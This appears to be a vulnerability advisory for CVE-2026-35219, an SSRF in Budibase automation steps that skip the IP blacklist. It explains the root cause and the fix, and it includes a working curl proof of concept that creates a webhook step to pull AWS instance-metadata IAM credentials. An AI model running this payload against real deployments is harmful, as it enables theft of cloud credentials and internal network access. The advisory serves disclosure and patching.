CVE-2026-35219: Budibase Server SSRF via Automation Steps Bypassing IP Blacklist
Budibase automation steps (Outgoing Webhook, Zapier, n8n, Slack, Discord, Make.com) call node-fetch directly without any IP blacklist check, letting any authenticated user reach cloud metadata…

The problem
All six outbound automation steps in Budibase called fetch(url, ...) directly, completely skipping the fetchWithBlacklist guard that exists in steps/utils.ts. There was no IP validation at all on these code paths, regardless of what BLACKLIST_IPS was set to.
The REST API integration had a separate problem: BLACKLIST_IPS defaults to undefined in every official deployment file, causing blacklist.isBlacklisted() to unconditionally return false. So even the REST path that nominally checked the blacklist offered no protection in default installs.
Any authenticated user (builder role or above) could create an automation with a webhook/Zapier/Slack/Discord/n8n step pointing to http://169.254.169.254/latest/meta-data/ or any RFC 1918 address. The response is returned directly in automation output, making this a non-blind SSRF.
Proof of concept
A working proof-of-concept for CVE-2026-35219 in @budibase/server, with the exact payload below.
# Step 1: Authenticate and save session cookie
curl -s -c /tmp/bb.txt \
"http://BUDIBASE_HOST/api/global/auth/default/login" \
-X POST -H "Content-Type: application/json" \
-d '{"username":"builder@example.com","password":"PASSWORD"}'
# Step 2: Create an automation whose Outgoing Webhook step hits AWS IMDS
# (replace YOUR_APP_ID with your target app's ID)
curl -s -b /tmp/bb.txt \
"http://BUDIBASE_HOST/api/automations" \
-X POST \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: YOUR_APP_ID" \
-d '{
"name": "SSRF PoC",
"definition": {
"trigger": {"stepId": "APP", "event": "row:save"},
"steps": [{
"stepId": "OUTGOING_WEBHOOK",
"inputs": {
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"method": "GET",
"requestBody": ""
}
}]
}
}'
# Step 3: Trigger the automation; the IMDS response is returned in step output.
# Any internal address works: 10.x.x.x, 192.168.x.x, 127.0.0.1, etc.The root cause is straightforward: outgoingWebhook.ts, zapier.ts, n8n.ts, slack.ts, and discord.ts all called the raw Node fetch() API instead of the project's own fetchWithBlacklist() wrapper in steps/utils.ts. That wrapper resolves the target hostname, checks every resolved IP against the private-range blacklist (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16), and throws before any network connection is made.
Skipping it meant zero network-level controls on these paths.
A compounding issue: BLACKLIST_IPS was not set in official Docker and Kubernetes deployment files, so blacklist.isBlacklisted() returned false for every URL even on the REST path that did call it. The fix in 3.41.3 replaced every bare fetch() call in the automation steps with fetchWithBlacklist() and added hardcoded default private IP ranges so protection is on by default rather than opt-in.
The fix
Upgrade @budibase/server to 3.41.3 or later. The patch routes all automation step outbound requests through fetchWithBlacklist() in packages/server/src/automations/steps/utils.ts and adds hardcoded default private-range blocks so no environment variable configuration is required for baseline SSRF protection.
Related research
- high · 8.5Budibase REST Datasource SSRF via DNS Rebinding (undici dispatcher bypasses IP pin)
- high · 8.5Budibase: DNS Rebinding SSRF Bypass in OpenAPI Import and REST Query Execution
- high · 8.8Budibase: App-Scoped Builder Privilege Escalation via Public Role Assignment API
- highBudibase Email Change IDOR Allows Full Account Takeover via POST /api/v2/email